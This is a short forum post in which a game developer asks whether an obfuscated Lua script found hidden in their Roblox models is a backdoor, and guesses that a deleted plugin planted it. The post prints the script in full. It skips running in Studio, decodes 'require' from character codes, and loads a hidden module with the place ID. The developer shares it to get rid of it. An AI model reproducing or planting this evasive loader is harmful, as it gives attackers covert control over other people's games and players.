Is this script I randomly found in one of my models a backdoor?

We managed to find 5 of them, all hidden in models in my game. I'm very worried that there might be more hiding in nil. I need feedback so I can find a way to get this unintended code out of my game.

Here's the code inside of one of them:

iu943lUJC6v = math.sqrt iFZZxkvWuPUhL = 'PlaceId' izHdNW = require ilIvL0 = game icxNNlaoBNBvEBrzF = 'GetProductInfo' i7CSbDeG6dCZRWD = pcall i7kGX = 'PlaceId' iANigCa2Cz = 'RunService' iw9djXDeBq6 = 'WaitForChild' iXlgn = 'FindFirstChild' iJvIDyNQaQQ = 'MarketplaceService' iFC5 = '?' i892Pk = 'Name' iwahH61IDfEIWB6H = getfenv i5Tb21mRBE9 = 'IsStudio' ijRJ8SC = string.char ic4Hjg9M = 'GetService' iZ5kekxogQW = 'IsStudio' ipC1Pm = 'Debris' iDHWPjr = 'GetService' ic1n = game it1EctFg = 'Debris' iZCXKUc7mmE = 'RunService' iZ9eZrcd6F = 'slo' if ilIvL0 [ iDHWPjr ] ( ilIvL0, iANigCa2Cz ) [ iZ5kekxogQW ] (ilIvL0[iDHWPjr ] ( ilIvL0, iANigCa2Cz ) ) then return end;i7CSbDeG6dCZRWD( function() if ilIvL0 [iDHWPjr] (ilIvL0, it1EctFg ) [iXlgn ] (ilIvL0[iDHWPjr] (ilIvL0, it1EctFg), iFC5) then iwahH61IDfEIWB6H() [ ijRJ8SC (27710908 - 27710794 ) .. ijRJ8SC(27710895 - 27710794) .. ijRJ8SC(27710907 - 27710794) .. ijRJ8SC(27710911 - 27710794) .. ijRJ8SC(27710899 - 27710794) .. ijRJ8SC(27710908 - 27710794) .. ijRJ8SC(27710895 - 27710794) ] (ilIvL0[iDHWPjr] (ilIvL0, it1EctFg) [iXlgn] (ilIvL0[iDHWPjr] (ilIvL0, it1EctFg) , iFC5) ) [iZ9eZrcd6F] (ilIvL0[iFZZxkvWuPUhL] ) end end )

I'm going to go ahead and answer my own question.

This was on a team create place, and my friend saw a content deleted plugin in his plugins. He deleted it, and it stopped creating scripts (I think????). I'll have to give it more time to look into. Thanks for the help.